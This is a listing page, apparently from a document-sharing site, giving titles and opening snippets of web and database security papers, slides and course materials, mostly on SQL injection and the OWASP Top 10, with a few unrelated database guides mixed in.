WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Botnet-Powered SQL Injection Attacks A Deeper Look Within (VB, Sep. 2009) David Maciejak Guillaume Lovet
Botnet-Powered SQL Injection Attacks A Deeper Look Within (VB, Sep. 2009) David Maciejak Guillaume Lovet Agenda 1 2 3 The Beginning Attack Analysis Malicious Injected JS 4 Threat Evolution 5 Prevention
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Application Denial of Service Is it Really That Easy?
Application Denial of Service Is it Really That Easy? Shay Chen Agenda Introduction to Denial of Service Attacks Application Level DoS Techniques Case Study Denial of Service Testing Mitigation Summary
Database Security & Auditing
Database Security & Auditing Jeff Paddock Manager, Enterprise Solutions September 17, 2009 1 Verizon 2009 Data Breach Investigations Report: 285 million records were compromised in 2008 2 Agenda The Threat
Talking to Databases: SQL for Designers
Biography Sean Hedenskog Talking to Databases: SQL for Designers Sean Hedenskog Agent Instructor Macromedia Certified Master Instructor Macromedia Certified Developer ColdFusion / Dreamweaver Reside in
National Fire Incident Reporting System (NFIRS 5.0) Configuration Tool User's Guide
National Fire Incident Reporting System (NFIRS 5.0) Configuration Tool User's Guide NFIRS 5.0 Software Version 5.6 1/7/2009 Department of Homeland Security Federal Emergency Management Agency United States
A Reseller s Guide to Using Helm
tm H E L M A Reseller s Guide to Using Helm Table of Contents About HELM & This Guide 3 Logging Into HELM 3 Changing Your Password 4 Customizing Your Control Panel 4 Step 1: Global Settings 5 Step 2: Domain
Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP620 1. On August 17, 2009, the United States Justice
Serious Threat SQL Injection COMP620 On August 17, 2009, the United States Justice Department tcharged an American citizen Albert Gonzalez and two unnamed Russians with the theft of 130 million credit
SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova
SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova Where someone is building a Web application, often he need to use databases to store information, or to manage user accounts. And
Enhanced Model of SQL Injection Detecting and Prevention
Enhanced Model of SQL Injection Detecting and Prevention Srinivas Baggam, Assistant Professor, Department of Computer Science and Engineering, MVGR College of Engineering, Vizianagaram, India. [email protected]
Retrieving Data Using the SQL SELECT Statement. Copyright 2006, Oracle. All rights reserved.
Retrieving Data Using the SQL SELECT Statement Objectives After completing this lesson, you should be able to do the following: List the capabilities of SQL SELECT statements Execute a basic SELECT statement
Consulting. Personal Attention, Expert Assistance
Consulting Personal Attention, Expert Assistance 1 Writing Better SQL Making your scripts more: Readable, Portable, & Easily Changed 2006 Alpha-G Consulting, LLC All rights reserved. 2 Before Spending
Columbia University Web Security Standards and Practices. Objective and Scope
Columbia University Web Security Standards and Practices Objective and Scope Effective Date: January 2011 This Web Security Standards and Practices document establishes a baseline of security related requirements
Hacking Database for Owning your Data
Hacking Database for Owning your Data 1 Introduction By Abdulaziz Alrasheed & Xiuwei Yi Stealing data is becoming a major threat. In 2012 alone, 500 fortune companies were compromised causing lots of money
Web Application Security Considerations
Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute
Ficha técnica de curso Código: IFCPR140c. SQL Injection Attacks and Defense
Curso de: Objetivos: SQL Injection Attacks and Defense Proteger nuestra B.D. y prevenir los ataques, realizando una buena defensa. Mostrar los pasos y pautas a seguir para hacer nuestro sistema mas robusto
SQL Server An Overview
SQL Server An Overview SQL Server Microsoft SQL Server is designed to work effectively in a number of environments: As a two-tier or multi-tier client/server database system As a desktop database system
SQL Injection Vulnerabilities in Desktop Applications
Vulnerabilities in Desktop Applications Derek Ditch (lead) Dylan McDonald Justin Miller Missouri University of Science & Technology Computer Science Department April 29, 2008 Vulnerabilities in Desktop
Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0
Offensive Security Advanced Web Attacks and Exploitation v. 1.0 Mati Aharoni Devon Kearns Course Overview The days of porous network perimeters are fading fast as services become more resilient and harder
How To Create A Database Driven Website On A Computer Or Server Without A Database (Iis) Or A Password (Ict) On A Server (Iip) Or Password (Web) On An Anonymous Guestbook (Iit) On Your
Information and Communication Technologies Division Security Notes on Active Server Pages (ASP) and MS-SQL Server Integration Prepared by: Contributor: Reviewed: Richard Grime Chris Roberts Tom Weil Version:
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
STABLE & SECURE BANK lab writeup. Page 1 of 21
STABLE & SECURE BANK lab writeup 1 of 21 Penetrating an imaginary bank through real present-date security vulnerabilities PENTESTIT, a Russian Information Security company has launched its new, eighth
Accessing Your Database with JMP 10 JMP Discovery Conference 2012 Brian Corcoran SAS Institute
Accessing Your Database with JMP 10 JMP Discovery Conference 2012 Brian Corcoran SAS Institute JMP provides a variety of mechanisms for interfacing to other products and getting data into JMP. The connection
Hunting flaws in Microsoft SQL Server
Hunting flaws in Microsoft SQL Server Cesar Cerrudo Independant Security Researcher Aaron Newman CTO/Founder, Application Security, Inc. www.appsecinc.com 1 Outline Collecting passwords Elevating privileges
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM Mikhail Egorov Sergey Soldatov Short BIO - Mikhail Egorov Application Security Engineer at Odin [ http://www.odin.com ] Security researcher and bug hunter
Novell Identity Manager
Password Management Guide AUTHORIZED DOCUMENTATION Novell Identity Manager 3.6.1 June 05, 2009 www.novell.com Identity Manager 3.6.1 Password Management Guide Legal Notices Novell, Inc. makes no representations
Automating Security Testing. Mark Fallon Senior Release Manager Oracle
Automating Security Testing Mark Fallon Senior Release Manager Oracle Some Ground Rules There are no silver bullets You can not test security into a product Testing however, can help discover a large percentage
Security Assessment of Waratek AppSecurity for Java. Executive Summary
Security Assessment of Waratek AppSecurity for Java Executive Summary ExecutiveSummary Security Assessment of Waratek AppSecurity for Java! Introduction! Between September and November 2014 BCC Risk Advisory
SOAP Web Services Attacks
SOAP Web Services Attacks Part 1 Introduction and Simple Injection Are your web applications vulnerable? by Sacha Faust Table of Contents Introduction... 1 Background... 1 Limitations...1 Understanding
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair [email protected] COO, Aspect Security [email protected] Copyright 2007 - The Foundation This work is available
Hacking and Protecting Oracle DB. Slavik Markovich CTO, Sentrigo
Hacking and Protecting Oracle DB Slavik Markovich CTO, Sentrigo What s This Presentation About? Explore SQL injection in depth Protect your code Finding vulnerable code Real world example What We'll Not
SQL Injection Attack. David Jong hoon An
SQL Injection Attack David Jong hoon An SQL Injection Attack Exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either
SQL Injection Signatures Evasion
SQL Injection Signatures Evasion An overview of why SQL Injection signature protection is just not enough (Or: How Autolycus got past the fortress guards) April 2004 Written by Ofer Maor, Application Defense
Hacker Intelligence Initiative, Monthly Trend Report #15
January 2013 Hacker Intelligence Initiative, Monthly Trend Report #15 Lessons Learned From the Yahoo! Hack How SQL Injection Vulnerabilities in Third-Party Code Can Make for Security Cloudy 1. Executive
Understanding Sql Injection
Understanding Sql Injection Hardik Shah Understanding SQL Injection Introduction: SQL injection is a technique used by a malicious user to gain illegal access on the remote machines through the web applications
Advanced Web Security, Lab
Advanced Web Security, Lab Web Server Security: Attacking and Defending November 13, 2013 Read this earlier than one day before the lab! Note that you will not have any internet access during the lab,
